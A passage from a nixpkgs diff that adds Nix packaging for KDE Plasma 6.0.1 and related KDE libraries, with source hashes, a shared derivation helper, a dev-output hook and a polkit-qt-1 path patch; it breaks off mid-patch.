"mirror://kde/stable/plasma/6.0.1/plasma-disks-6.0.1.tar.xz", + "hash": "sha256-eC8HigBYUBU7uH3zZjRI/Uqpz/TMfMve+kClFq1+p/4=" + }, + "plasma-firewall": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/plasma-firewall-6.0.1.tar.xz", + "hash": "sha256-K+GFZDSTYBGZiCUf4VLAdiBLR0LsDSFv5RtRjopzaec=" + }, + "plasma-integration": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/plasma-integration-6.0.1.tar.xz", + "hash": "sha256-FtEj3D9ZxJIlG44vupScddO/D2fzzs+WxRvkjcQUQp8=" + }, + "plasma-mobile": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/plasma-mobile-6.0.1.tar.xz", + "hash": "sha256-snOILhyWtKu57n9BInxHokC6v+9FkJ8N13ysBa02QAg=" + }, + "plasma-nano": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/plasma-nano-6.0.1.tar.xz", + "hash": "sha256-IEHQFekEQButOtNaSjEC2kaGau6PycwMk9o3246plHQ=" + }, + "plasma-nm": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/plasma-nm-6.0.1.tar.xz", + "hash": "sha256-cKIB7prSAiQrAP9QYZZkrFIFlE+J3yrDpyqfTOV4kyo=" + }, + "plasma-pa": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/plasma-pa-6.0.1.tar.xz", + "hash": "sha256-Jyjs2fHFEG/ovAfwsDvaMWA2rcXQOjrAAVEfdUPDN8c=" + }, + "plasma-sdk": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/plasma-sdk-6.0.1.tar.xz", + "hash": "sha256-cuDXrIGZJI96emqO3nvc1geZDVhnqZmOHmrxT9cjKLc=" + }, + "plasma-systemmonitor": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/plasma-systemmonitor-6.0.1.tar.xz", + "hash": "sha256-L4l5l4s0jWtxrAePmJ3SH/TptrDSW15Zo3G+UA/JnVE=" + }, + "plasma-thunderbolt": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/plasma-thunderbolt-6.0.1.tar.xz", + "hash": "sha256-mzw6wQ94iaZr+rv2KCPsld/a2f9GZSltDCB9S9KIkr0=" + }, + "plasma-vault": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/plasma-vault-6.0.1.tar.xz", + "hash": "sha256-rWYoml4dP23zwX2xah+IwVi0z3h2VnJuiVhI0L5u0AU=" + }, + "plasma-welcome": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/plasma-welcome-6.0.1.tar.xz", + "hash": "sha256-+Lrjd8pQpMvsSpYwXy4rjowzNZ9ZamSFEQirCVC280E=" + }, + "plasma-workspace": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/plasma-workspace-6.0.1.tar.xz", + "hash": "sha256-1MNcsWi5kEh7OfG36xlGkJxedPAgDQ3i0xdlnBbxWgw=" + }, + "plasma-workspace-wallpapers": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/plasma-workspace-wallpapers-6.0.1.tar.xz", + "hash": "sha256-MWMiru1TqQSs+mk3gT320hZEmM2dTC8th7YQu1vPgs4=" + }, + "plasma5support": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/plasma5support-6.0.1.tar.xz", + "hash": "sha256-CyW9EyMGCEy1wNrgfFwP+noy2eserMDTS1bnhHEe0zU=" + }, + "plymouth-kcm": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/plymouth-kcm-6.0.1.tar.xz", + "hash": "sha256-RQtov7L/0cuFzQLE1kEgg3iHB4SBGn+POngU1mM1Ink=" + }, + "polkit-kde-agent-1": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/polkit-kde-agent-1-6.0.1.tar.xz", + "hash": "sha256-YpgXxuVqVkfDr5fW3JYOd0RGAzK9PeavgJCV6LUy2T0=" + }, + "powerdevil": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/powerdevil-6.0.1.tar.xz", + "hash": "sha256-CsSPI+gmRDhDQPBjkDeoQkFpqOGjS0nz9tJQUzJC0K8=" + }, + "print-manager": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/print-manager-6.0.1.tar.xz", + "hash": "sha256-qMam4P00JMAi1yEUEKP3dMNT+G7ny08Yrb06pnEhl0o=" + }, + "qqc2-breeze-style": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/qqc2-breeze-style-6.0.1.tar.xz", + "hash": "sha256-d4hSRmOyOT2I8DeYeKu9HlLAUg6zyofZVHh3aiUCkLQ=" + }, + "sddm-kcm": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/sddm-kcm-6.0.1.tar.xz", + "hash": "sha256-f8538z7WWFkQNx2YP+LiCxB/7KvIZS+K+wjZrhk+4c8=" + }, + "systemsettings": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/systemsettings-6.0.1.tar.xz", + "hash": "sha256-HGShWBnCxoPGaXJfEa6Fos3ElOR5lvalbLLYExiQTZU=" + }, + "wacomtablet": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/wacomtablet-6.0.1.tar.xz", + "hash": "sha256-m4LCsY3YClBN6OAM1qT5ypB2vZj6b6EReCIj3pRdzj4=" + }, + "xdg-desktop-portal-kde": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/xdg-desktop-portal-kde-6.0.1.tar.xz", + "hash": "sha256-2koLhkyhdujOGfbhXSfI+RkyOlGgck7II3gXnDFY2Zk=" + } +} \ No newline at end of file diff --git a/pkgs/kde/lib/mk-kde-derivation.nix b/pkgs/kde/lib/mk-kde-derivation.nix new file mode 100644 index 0000000000000..042c7531f07eb --- /dev/null +++ b/pkgs/kde/lib/mk-kde-derivation.nix @@ -0,0 +1,127 @@ +self: { + lib, + stdenv, + makeSetupHook, + fetchurl, + cmake, + qt6, +}: let + dependencies = (lib.importJSON ../generated/dependencies.json).dependencies; + projectInfo = lib.importJSON ../generated/projects.json; + + licenseInfo = lib.importJSON ../generated/licenses.json; + licensesBySpdxId = + (lib.mapAttrs' (_: v: { + name = v.spdxId or "unknown"; + value = v; + }) + lib.licenses) + // { + # https://community.kde.org/Policies/Licensing_Policy + "LicenseRef-KDE-Accepted-GPL" = lib.licenses.gpl3Plus; + "LicenseRef-KFQF-Accepted-GPL" = lib.licenses.gpl3Plus; + "LicenseRef-KDE-Accepted-LGPL" = lib.licenses.lgpl3Plus; + + # https://sjfonts.sourceforge.net/ + "LicenseRef-SJFonts" = lib.licenses.gpl2Plus; + + # https://invent.kde.org/education/kiten/-/blob/master/LICENSES/LicenseRef-EDRDG.txt + "LicenseRef-EDRDG" = lib.licenses.cc-by-sa-30; + + # https://invent.kde.org/kdevelop/kdevelop/-/blob/master/LICENSES/LicenseRef-MIT-KDevelop-Ideal.txt + "LicenseRef-MIT-KDevelop-Ideal" = lib.licenses.mit; + + "FSFAP" = { + spdxId = "FSFAP"; + fullName = "FSF All Permissive License"; + }; + + "FSFULLR" = { + spdxId = "FSFULLR"; + fullName = "FSF Unlimited License (with License Retention)"; + }; + + "W3C-20150513" = { + spdxId = "W3C-20150513"; + fullName = "W3C Software Notice and Document License (2015-05-13)"; + }; + + # Technically not exact + "bzip2-1.0.6" = lib.licenses.bsdOriginal; + + # FIXME: typo lol + "ICS" = lib.licenses.isc; + + # These are only relevant to Qt commercial users + "Qt-Commercial-exception-1.0" = null; + "LicenseRef-Qt-Commercial" = null; + "LicenseRef-Qt-Commercial-exception-1.0" = null; + + # FIXME: ??? + "Qt-GPL-exception-1.0" = null; + "LicenseRef-Qt-LGPL-exception-1.0" = null; + "Qt-LGPL-exception-1.1" = null; + "LicenseRef-Qt-exception" = null; + "GCC-exception-3.1" = null; + "Bison-exception-2.2" = null; + "Font-exception-2.0" = null; + None = null; + }; + + moveDevHook = makeSetupHook {name = "kf6-move-dev-hook";} ./move-dev-hook.sh; +in + { + pname, + version ? self.sources.${pname}.version, + src ? self.sources.${pname}, + extraBuildInputs ? [], + extraNativeBuildInputs ? [], + extraPropagatedBuildInputs ? [], + extraCmakeFlags ? [], + ... + } @ args: let + # FIXME(later): this is wrong for cross, some of these things really need to go into nativeBuildInputs, + # but cross is currently very broken anyway, so we can figure this out later. + deps = map (dep: self.${dep}) (dependencies.${pname} or []); + + defaultArgs = { + inherit version src; + + outputs = ["out" "dev"]; + + nativeBuildInputs = [cmake qt6.wrapQtAppsHook moveDevHook] ++ extraNativeBuildInputs; + buildInputs = [qt6.qtbase] ++ extraBuildInputs; + + # FIXME: figure out what to propagate here + propagatedBuildInputs = deps ++ extraPropagatedBuildInputs; + strictDeps = true; + + dontFixCmake = true; + cmakeFlags = ["-DQT_MAJOR_VERSION=6"] ++ extraCmakeFlags; + + separateDebugInfo = true; + + env.LANG = "C.UTF-8"; + }; + + cleanArgs = builtins.removeAttrs args [ + "extraBuildInputs" + "extraNativeBuildInputs" + "extraPropagatedBuildInputs" + "extraCmakeFlags" + "meta" + ]; + + meta = let + pos = builtins.unsafeGetAttrPos "pname" args; + in { + description = projectInfo.${pname}.description; + homepage = "https://invent.kde.org/${projectInfo.${pname}.repo_path}"; + license = lib.filter (l: l != null) (map (l: licensesBySpdxId.${l}) licenseInfo.${pname}); + maintainers = lib.teams.qt-kde.members; + # Platforms are currently limited to what upstream tests in CI, but can be extended if there's interest. + platforms = lib.platforms.linux ++ lib.platforms.freebsd; + position = "${pos.file}:${toString pos.line}"; + } // (args.meta or { }); + in + stdenv.mkDerivation (defaultArgs // cleanArgs) // { inherit meta; } diff --git a/pkgs/kde/lib/move-dev-hook.sh b/pkgs/kde/lib/move-dev-hook.sh new file mode 100644 index 0000000000000..da5770e1bba14 --- /dev/null +++ b/pkgs/kde/lib/move-dev-hook.sh @@ -0,0 +1,8 @@ +# shellcheck shell=bash +# shellcheck disable=SC2154 + +moveKF6DevTools() { + moveToOutput "${qtPluginPrefix}/designer" "${!outputDev}" +} + +postInstallHooks+=('moveKF6DevTools') diff --git a/pkgs/kde/misc/alpaka/default.nix b/pkgs/kde/misc/alpaka/default.nix new file mode 100644 index 0000000000000..6e4154c495d82 --- /dev/null +++ b/pkgs/kde/misc/alpaka/default.nix @@ -0,0 +1,25 @@ +{ + lib, + mkKdeDerivation, + fetchFromGitLab, +}: +mkKdeDerivation { + pname = "alpaka"; + version = "unstable-2024-02-27"; + + src = fetchFromGitLab { + domain = "invent.kde.org"; + owner = "utilities"; + repo = "alpaka"; + rev = "64ef70f062920e2d62b5a9337485ccbf0eb86b97"; + hash = "sha256-YDn86+byjvCK525EQsGTCKf88Ovhvii848nTJHGP1bg="; + }; + + meta.license = with lib.licenses; [ + bsd3 + cc0 + gpl2Only + gpl2Plus + gpl3Only + ]; +} diff --git a/pkgs/kde/misc/kdiagram/default.nix b/pkgs/kde/misc/kdiagram/default.nix new file mode 100644 index 0000000000000..f396db7a33782 --- /dev/null +++ b/pkgs/kde/misc/kdiagram/default.nix @@ -0,0 +1,20 @@ +{ + lib, + mkKdeDerivation, + fetchurl, + qttools, + qtsvg, +}: +mkKdeDerivation rec { + pname = "kdiagram"; + version = "3.0.1"; + + src = fetchurl { + url = "mirror://kde/stable/kdiagram/${version}/kdiagram-${version}.tar.xz"; + hash = "sha256-Rlmwws2dsYFD9avZyAYJHDqrarwalWu/goFas9MYnG0="; + }; + + extraNativeBuildInputs = [qttools qtsvg]; + + meta.license = [lib.licenses.gpl2]; +} diff --git a/pkgs/kde/misc/kdsoap-ws-discovery-client/default.nix b/pkgs/kde/misc/kdsoap-ws-discovery-client/default.nix new file mode 100644 index 0000000000000..f4c2637a96004 --- /dev/null +++ b/pkgs/kde/misc/kdsoap-ws-discovery-client/default.nix @@ -0,0 +1,19 @@ +{ + lib, + mkKdeDerivation, + fetchurl, + doxygen, +}: +mkKdeDerivation rec { + pname = "kdsoap-ws-discovery-client"; + version = "0.4.0"; + + src = fetchurl { + url = "mirror://kde/stable/kdsoap-ws-discovery-client/kdsoap-ws-discovery-client-${version}.tar.xz"; + hash = "sha256-LNJHwBPnX0EGWbrDcq/5PSLXHFpUwFnhN7lESvizQno="; + }; + + extraNativeBuildInputs = [doxygen]; + + meta.license = [lib.licenses.gpl3Plus]; +} diff --git a/pkgs/kde/misc/kio-fuse/default.nix b/pkgs/kde/misc/kio-fuse/default.nix new file mode 100644 index 0000000000000..b5461fd02de0c --- /dev/null +++ b/pkgs/kde/misc/kio-fuse/default.nix @@ -0,0 +1,21 @@ +{ + lib, + mkKdeDerivation, + fetchurl, + pkg-config, + fuse3, +}: +mkKdeDerivation rec { + pname = "kio-fuse"; + version = "5.1.0"; + + src = fetchurl { + url = "mirror://kde/stable/kio-fuse/kio-fuse-${version}.tar.xz"; + hash = "sha256-fRBFgSJ9Whm0JLM/QWjRgVVrEBXW3yIY4BqI1kRJ6Us="; + }; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [fuse3]; + + meta.license = with lib.licenses; [gpl3Plus]; +} diff --git a/pkgs/kde/misc/kirigami-addons/default.nix b/pkgs/kde/misc/kirigami-addons/default.nix new file mode 100644 index 0000000000000..14852d56f5b14 --- /dev/null +++ b/pkgs/kde/misc/kirigami-addons/default.nix @@ -0,0 +1,31 @@ +{ + lib, + mkKdeDerivation, + fetchurl, + qtdeclarative, + qt5compat, +}: +mkKdeDerivation rec { + pname = "kirigami-addons"; + version = "1.0.1"; + + src = fetchurl { + url = "mirror://kde/stable/kirigami-addons/kirigami-addons-${version}.tar.xz"; + hash = "sha256-nQE4R++wBIxqJ5nuDtKBsU7uFTFKwg1/uoUxl+RfKbc="; + }; + + extraBuildInputs = [qtdeclarative]; + extraPropagatedBuildInputs = [qt5compat]; + + meta.license = with lib.licenses; [ + bsd2 + cc-by-sa-40 + cc0 + gpl2Plus + lgpl2Only + lgpl2Plus + lgpl21Only + lgpl21Plus + lgpl3Only + ]; +} diff --git a/pkgs/kde/misc/ktextaddons/default.nix b/pkgs/kde/misc/ktextaddons/default.nix new file mode 100644 index 0000000000000..086608f2b6624 --- /dev/null +++ b/pkgs/kde/misc/ktextaddons/default.nix @@ -0,0 +1,27 @@ +{ + lib, + mkKdeDerivation, + fetchurl, + qtspeech, + qttools, + kxmlgui, +}: +mkKdeDerivation rec { + pname = "ktextaddons"; + version = "1.5.3"; + + src = fetchurl { + url = "mirror://kde/stable/ktextaddons/ktextaddons-${version}.tar.xz"; + hash = "sha256-ilLbir+oqdaNLSkfsPi+IGWf14mZh7Tcr98kaNsJF9w="; + }; + + extraBuildInputs = [qtspeech qttools kxmlgui]; + + meta.license = with lib.licenses; [ + bsd3 + cc0 + gpl2Plus + lgpl2Plus + lgpl21Plus + ]; +} diff --git a/pkgs/kde/misc/kunifiedpush/default.nix b/pkgs/kde/misc/kunifiedpush/default.nix new file mode 100644 index 0000000000000..54f9029139014 --- /dev/null +++ b/pkgs/kde/misc/kunifiedpush/default.nix @@ -0,0 +1,24 @@ +{ + lib, + mkKdeDerivation, + fetchFromGitLab, + qtwebsockets, + kdeclarative, + kpackage, +}: +mkKdeDerivation { + pname = "kunifiedpush"; + version = "unstable-2024-02-19"; + + src = fetchFromGitLab { + domain = "invent.kde.org"; + owner = "libraries"; + repo = "kunifiedpush"; + rev = "b89a31fb4f333a4e5d6c475a030147c8bdcffec6"; + hash = "sha256-bhlsEP7cLuA6Rj6nrpp5iC3uolc02twNMLsWl+d/BXo="; + }; + + extraBuildInputs = [qtwebsockets kdeclarative kpackage]; + + meta.license = with lib.licenses; [bsd2 bsd3 cc0 lgpl2Plus]; +} diff --git a/pkgs/kde/misc/kweathercore/default.nix b/pkgs/kde/misc/kweathercore/default.nix new file mode 100644 index 0000000000000..31dbf598dcfd8 --- /dev/null +++ b/pkgs/kde/misc/kweathercore/default.nix @@ -0,0 +1,19 @@ +{ + lib, + mkKdeDerivation, + fetchurl, + qtpositioning, +}: +mkKdeDerivation rec { + pname = "kweathercore"; + version = "0.8.0"; + + src = fetchurl { + url = "mirror://kde/stable/kweathercore/${version}/kweathercore-${version}.tar.xz"; + hash = "sha256-m8rBPa+YcF4vDVsGshoahpSWIHj84b9iDbvDZIc6Dv4="; + }; + + extraBuildInputs = [qtpositioning]; + + meta.license = with lib.licenses; [cc-by-40 cc0 lgpl2Plus]; +} diff --git a/pkgs/kde/misc/mpvqt/default.nix b/pkgs/kde/misc/mpvqt/default.nix new file mode 100644 index 0000000000000..4ec52aba07936 --- /dev/null +++ b/pkgs/kde/misc/mpvqt/default.nix @@ -0,0 +1,23 @@ +{ + lib, + mkKdeDerivation, + fetchFromGitLab, + mpv, + qtdeclarative, +}: +mkKdeDerivation rec { + pname = "mpvqt"; + version = "1.0.0"; + + src = fetchFromGitLab { + domain = "invent.kde.org"; + owner = "libraries"; + repo = "mpvqt"; + rev = "v${version}"; + hash = "sha256-XHiCxH7dJxJamloM2SJbiFHDt8j4rVfv/M9PaBzvgM4="; + }; + + extraBuildInputs = [mpv qtdeclarative]; + + meta.license = with lib.licenses; [bsd2 bsd3 cc-by-sa-40 cc0 lgpl21Only lgpl3Only lgpl3Plus mit]; +} diff --git a/pkgs/kde/misc/oxygen-icons/default.nix b/pkgs/kde/misc/oxygen-icons/default.nix new file mode 100644 index 0000000000000..91144f0c0bcf0 --- /dev/null +++ b/pkgs/kde/misc/oxygen-icons/default.nix @@ -0,0 +1,18 @@ +{ + lib, + mkKdeDerivation, + fetchurl, +}: +mkKdeDerivation rec { + pname = "oxygen-icons"; + version = "6.0.0"; + + src = fetchurl { + url = "mirror://kde/stable/oxygen-icons/oxygen-icons-${version}.tar.xz"; + hash = "sha256-KOwYKHXcwV2SePRc7RECaqOSR28fRUhxueLINwCOV3Q="; + }; + + dontStrip = true; + + meta.license = [lib.licenses.lgpl3Plus]; +} diff --git a/pkgs/kde/misc/phonon-vlc/default.nix b/pkgs/kde/misc/phonon-vlc/default.nix new file mode 100644 index 0000000000000..bd828172bf8df --- /dev/null +++ b/pkgs/kde/misc/phonon-vlc/default.nix @@ -0,0 +1,23 @@ +{ + lib, + mkKdeDerivation, + fetchurl, + qttools, + libvlc, +}: +mkKdeDerivation rec { + pname = "phonon-vlc"; + version = "0.12.0"; + + src = fetchurl { + url = "mirror://kde/stable/phonon/phonon-backend-vlc/${version}/phonon-backend-vlc-${version}.tar.xz"; + hash = "sha256-M4R53EUeS5SzyltXje90Hc+C9cYmooB9NiNb4tznyaU="; + }; + + extraNativeBuildInputs = [qttools]; + extraBuildInputs = [libvlc]; + + cmakeFlags = ["-DPHONON_BUILD_QT5=0" "-DPHONON_BUILD_QT6=1"]; + + meta.license = with lib.licenses; [lgpl21Plus]; +} diff --git a/pkgs/kde/misc/phonon/default.nix b/pkgs/kde/misc/phonon/default.nix new file mode 100644 index 0000000000000..4706dd159ea56 --- /dev/null +++ b/pkgs/kde/misc/phonon/default.nix @@ -0,0 +1,36 @@ +{ + lib, + mkKdeDerivation, + fetchurl, + libGLU, + libGL, + pkg-config, + libpulseaudio, + qt5compat, + qttools, +}: +mkKdeDerivation rec { + pname = "phonon"; + version = "4.12.0"; + + src = fetchurl { + url = "mirror://kde/stable/phonon/${version}/phonon-${version}.tar.xz"; + hash = "sha256-Mof/4PvMLUqhNj+eFXRzAtCwgAkP525fIR2AnstD85o="; + }; + + extraBuildInputs = [ + libGLU + libGL + libpulseaudio + qt5compat + ]; + + extraNativeBuildInputs = [ + pkg-config + qttools + ]; + + cmakeFlags = ["-DPHONON_BUILD_QT5=0" "-DPHONON_BUILD_QT6=1"]; + + meta.license = with lib.licenses; [lgpl21Plus gpl2Plus]; +} diff --git a/pkgs/kde/misc/polkit-qt-1/default.nix b/pkgs/kde/misc/polkit-qt-1/default.nix new file mode 100644 index 0000000000000..432cc5da80597 --- /dev/null +++ b/pkgs/kde/misc/polkit-qt-1/default.nix @@ -0,0 +1,24 @@ +{ + mkKdeDerivation, + lib, + fetchurl, + pkg-config, + polkit, + glib, +}: +mkKdeDerivation rec { + pname = "polkit-qt-1"; + version = "0.200.0"; + + src = fetchurl { + url = "mirror://kde/stable/polkit-qt-1/polkit-qt-1-${version}.tar.xz"; + sha256 = "sha256-XTthHAYtK3apN1C7EMkHv9IdH/CNChXcLPY+J44Wd/s="; + }; + + patches = [./full-paths.patch]; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [glib polkit]; + + meta.license = with lib.licenses; [bsd3 gpl2Plus lgpl2Plus]; +} diff --git a/pkgs/kde/misc/polkit-qt-1/full-paths.patch b/pkgs/kde/misc/polkit-qt-1/full-paths.patch new file mode 100644 index 0000000000000..72654d2d8ca90 --- /dev/null +++ b/pkgs/kde/misc/polkit-qt-1/full-paths.patch @@ -0,0 +1,184 @@ +diff --git a/PolkitQt-1Config.cmake.in b/PolkitQt-1Config.cmake.in +index e09678c..57d465a 100644 +--- a/PolkitQt-1Config.cmake.in ++++ b/PolkitQt-1Config.cmake.in +@@ -20,9 +20,9 @@ if(NOT POLKITQT-1_INSTALL_DIR) + set(POLKITQT-1_INSTALL_DIR "@CMAKE_INSTALL_PREFIX@") + endif(NOT POLKITQT-1_INSTALL_DIR) + +-set_and_check(POLKITQT-1_INCLUDE_DIR "@PACKAGE_CMAKE_INSTALL_INCLUDEDIR@/@POLKITQT-1_INCLUDE_PATH@") ++set_and_check(POLKITQT-1_INCLUDE_DIR "@CMAKE_INSTALL_FULL_INCLUDEDIR@/@POLKITQT-1_INCLUDE_PATH@") + set_and_check(POLKITQT-1_INCLUDE_DIRS "${POLKITQT-1_INCLUDE_DIR}") +-set_and_check(POLKITQT-1_LIB_DIR "@PACKAGE_CMAKE_INSTALL_LIBDIR@") ++set_and_check(POLKITQT-1_LIB_DIR "@CMAKE_INSTALL_FULL_LIBDIR@") + set(POLKITQT-1_POLICY_FILES_INSTALL_DIR "${POLKITQT-1_INSTALL_DIR}/share/polkit-1/actions") + ################################## + +diff --git a/polkit-qt-1.pc.cmake b/polkit-qt-1.pc.cmake +index ba8e46e..2d7ea64 100644 +--- a/polkit-qt-1.pc.cmake ++++ b/polkit-qt-1.pc.cmake +@@ -1,7 +1,7 @@ + prefix=@CMAKE_INSTALL_PREFIX@ + exec_prefix=@CMAKE_INSTALL_PREFIX@ +-libdir=${exec_prefix}/@CMAKE_INSTALL_LIBDIR@ +-includedir=${prefix}/@CMAKE_INSTALL_INCLUDEDIR@/@POLKITQT-1_INCLUDE_PATH@ ++libdir=@CMAKE_INSTALL_FULL_LIBDIR@ ++includedir=@CMAKE_INSTALL_FULL_INCLUDEDIR@/@POLKITQT-1_INCLUDE_PATH@ + + Name: @POLKITQT-1_PCNAME@ + Description: Convenience library for using polkit with a Qt-styled API +diff --git a/polkit-qt-agent-1.pc.cmake b/polkit-qt-agent-1.pc.cmake +index 23b2cae..86670a7 100644 +--- a/polkit-qt-agent-1.pc.cmake ++++ b/polkit-qt-agent-1.pc.cmake +@@ -1,7 +1,7 @@ + prefix=@CMAKE_INSTALL_PREFIX@ + exec_prefix=@CMAKE_INSTALL_PREFIX@ +-libdir=${exec_prefix}/@CMAKE_INSTALL_LIBDIR@ +-includedir=${prefix}/@CMAKE_INSTALL_INCLUDEDIR@/@POLKITQT-1_INCLUDE_PATH@ ++libdir=@CMAKE_INSTALL_FULL_LIBDIR@ ++includedir=@CMAKE_INSTALL_FULL_INCLUDEDIR@/@POLKITQT-1_INCLUDE_PATH@ + + Name: @POLKITQT-1_AGENT_PCNAME@ + Description: Convenience library for using polkit Agent with a Qt-styled API +diff --git a/polkit-qt-core-1.pc.cmake b/polkit-qt-core-1.pc.cmake +index fa501f0..61faa63 100644 +--- a/polkit-qt-core-1.pc.cmake ++++ b/polkit-qt-core-1.pc.cmake +@@ -1,7 +1,7 @@ + prefix=@CMAKE_INSTALL_PREFIX@ + exec_prefix=@CMAKE_INSTALL_PREFIX@ +-libdir=${exec_prefix}/@CMAKE_INSTALL_LIBDIR@ +-includedir=${prefix}/@CMAKE_INSTALL_INCLUDEDIR@/@POLKITQT-1_INCLUDE_PATH@ ++libdir=@CMAKE_INSTALL_FULL_LIBDIR@ ++includedir=@CMAKE_INSTALL_FULL_INCLUDEDIR@/@POLKITQT-1_INCLUDE_PATH@ + + Name: @POLKITQT-1_CORE_PCNAME@ + Description: Convenience library for using polkit with a Qt-styled API, non-GUI classes +diff --git a/polkit-qt-gui-1.pc.cmake b/polkit-qt-gui-1.pc.cmake +index 7261b0c..8c633bb 100644 +--- a/polkit-qt-gui-1.pc.cmake ++++ b/polkit-qt-gui-1.pc.cmake +@@ -1,7 +1,7 @@ + prefix=@CMAKE_INSTALL_PREFIX@ + exec_prefix=@CMAKE_INSTALL_PREFIX@ +-libdir=${exec_prefix}/@CMAKE_INSTALL_LIBDIR@ +-includedir=${prefix}/@CMAKE_INSTALL_INCLUDEDIR@/@POLKITQT-1_INCLUDE_PATH@ ++libdir=@CMAKE_INSTALL_FULL_LIBDIR@ ++includedir=@CMAKE_INSTALL_FULL_INCLUDEDIR@/@POLKITQT-1_INCLUDE_PATH@ + + Name: @POLKITQT-1_GUI_PCNAME@ + Description: Convenience library for using polkit with a Qt-styled API, GUI classes +diff --git a/polkit-qt5-1.pc.cmake b/polkit-qt5-1.pc.cmake +index ba8e46e..2d7ea64 100644 +--- a/polkit-qt5-1.pc.cmake ++++ b/polkit-qt5-1.pc.cmake +@@ -1,7 +1,7 @@ + prefix=@CMAKE_INSTALL_PREFIX@ + exec_prefix=@CMAKE_INSTALL_PREFIX@ +-libdir=${exec_prefix}/@CMAKE_INSTALL_LIBDIR@ +-includedir=${prefix}/@CMAKE_INSTALL_INCLUDEDIR@/@POLKITQT-1_INCLUDE_PATH@ ++libdir=@CMAKE_INSTALL_FULL_LIBDIR@ ++includedir=@CMAKE_INSTALL_FULL_INCLUDEDIR@/@POLKITQT-1_INCLUDE_PATH@ + + Name: @POLKITQT-1_PCNAME@ + Description: Convenience library for using polkit with a Qt-styled API +diff --git a/polkit-qt5-agent-1.pc.cmake b/polkit-qt5-agent-1.pc.cmake +index 60b22d5..ee8b80b 100644 +--- a/polkit-qt5-agent-1.pc.cmake ++++ b/polkit-qt5-agent-1.pc.cmake +@@ -1,7 +1,7 @@ + prefix=@CMAKE_INSTALL_PREFIX@ + exec_prefix=@CMAKE_INSTALL_PREFIX@ +-libdir=${exec_prefix}/@CMAKE_INSTALL_LIBDIR@ +-includedir=${prefix}/@CMAKE_INSTALL_INCLUDEDIR@/@POLKITQT-1_INCLUDE_PATH@ ++libdir=@CMAKE_INSTALL_FULL_LIBDIR@ ++includedir=@CMAKE_INSTALL_FULL_INCLUDEDIR@/@POLKITQT-1_INCLUDE_PATH@ + + Name: @POLKITQT-1_AGENT_PCNAME@ + Description: Convenience library for using polkit Agent with a Qt-styled API +diff --git a/polkit-qt5-core-1.pc.cmake b/polkit-qt5-core-1.pc.cmake +index 2f5d562..387c64b 100644 +--- a/polkit-qt5-core-1.pc.cmake ++++ b/polkit-qt5-core-1.pc.cmake +@@ -1,7 +1,7 @@ + prefix=@CMAKE_INSTALL_PREFIX@ + exec_prefix=@CMAKE_INSTALL_PREFIX@ +-libdir=${exec_prefix}/@CMAKE_INSTALL_LIBDIR@ +-includedir=${prefix}/@CMAKE_INSTALL_INCLUDEDIR@/@POLKITQT-1_INCLUDE_PATH@ ++libdir=@CMAKE_INSTALL_FULL_LIBDIR@ ++includedir=@CMAKE_INSTALL_FULL_INCLUDEDIR@/@POLKITQT-1_INCLUDE_PATH@ + + Name: @POLKITQT-1_CORE_PCNAME@ + Description: Convenience library for using polkit with a Qt-styled API, non-GUI classes +diff --git a/polkit-qt5-gui-1.pc.cmake b/polkit-qt5-gui-1.pc.cmake +index 1d208fb..dd95f52 100644 +--- a/polkit-qt5-gui-1.pc.cmake ++++ b/polkit-qt5-gui-1.pc.cmake +@@ -1,7 +1,7 @@ + prefix=@CMAKE_INSTALL_PREFIX@ + exec_prefix=@CMAKE_INSTALL_PREFIX@ +-libdir=${exec_prefix}/@CMAKE_INSTALL_LIBDIR@ +-includedir=${prefix}/@CMAKE_INSTALL_INCLUDEDIR@/@POLKITQT-1_INCLUDE_PATH@ ++libdir=@CMAKE_INSTALL_FULL_LIBDIR@ ++includedir=@CMAKE_INSTALL_FULL_INCLUDEDIR@/@POLKITQT-1_INCLUDE_PATH@ + + Name: @POLKITQT-1_GUI_PCNAME@ + Description: Convenience library for using polkit with a Qt-styled API, GUI classes +diff --git a/polkit-qt6-1.pc.cmake b/polkit-qt6-1.pc.cmake +index ba8e46e..2d7ea64 100644 +--- a/polkit-qt6-1.pc.cmake ++++ b/polkit-qt6-1.pc.cmake +@@ -1,7 +1,7 @@ + prefix=@CMAKE_INSTALL_PREFIX@ + exec_prefix=@CMAKE_INSTALL_PREFIX@ +-libdir=${exec_prefix}/@CMAKE_INSTALL_LIBDIR@ +-includedir=${prefix}/@CMAKE_INSTALL_INCLUDEDIR@/@POLKITQT-1_INCLUDE_PATH@ ++libdir=@CMAKE_INSTALL_FULL_LIBDIR@ ++includedir=@CMAKE_INSTALL_FULL_INCLUDEDIR@/@POLKITQT-1_INCLUDE_PATH@ + + Name: @POLKITQT-1_PCNAME@ + Description: Convenience library for using polkit with a Qt-styled API +diff --git a/polkit-qt6-agent-1.pc.cmake b/polkit-qt6-agent-1.pc.cmake +index 60b22d5..ee8b80b 100644 +--- a/polkit-qt6-agent-1.pc.cmake ++++ b/polkit-qt6-agent-1.pc.cmake +@@ -1,7 